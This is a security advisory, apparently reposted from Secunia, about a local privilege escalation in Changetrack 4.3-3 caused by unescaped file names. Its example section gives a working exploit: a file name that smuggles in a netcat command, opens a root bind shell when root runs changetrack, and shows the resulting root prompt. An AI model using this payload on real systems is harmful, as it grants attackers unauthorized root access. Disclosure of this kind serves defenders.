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Changetrack 4.3-3 Local Privilege Escalation Vulnerability
[========================================================== Changetrack 4.3-3 Local Privilege Escalation Vulnerability ========================================================== TITLE: Changetrack Privilege Escalation Vulnerability SECUNIA ADVISORY ID: SA36756 DESCRIPTION: A vulnerability has been discovered in Changetrack, which can be exploited by malicious, local users to gain escalated privileges. The application does not properly escape certain file names, which can be exploited to inject and execute arbitrary shell commands (potentially with "root" privileges) by creating a maliciously named file in a directory tracked by Changetrack. Successful exploitation requires write privileges to a directory scanned by Changetrack. SOLUTION: Use Changetrack to track trusted directories only. PROVIDED AND/OR DISCOVERED BY: Marek Grzybowski -------------------------------------------------------------------------------- Example of exploitation: ------------ Attacker ---------- rick@testmachine:~/testt$ touch "<\`nc -l -p 5001 -e \$SHELL\`" rick@testmachine:~/testt$ ls <`nc -l -p 5001 -e $SHELL` -------------------------------- ------------ root -------------- testmachine:~# changetrack ------------ root -------------- ------------ Attacker ---------- rick@testmachine:~/testt$ nc 127.0.0.1 5001 id uid=0(root) gid=0(root) groups=0(root) -------------------------------- # 0day.today [2024-12-26] #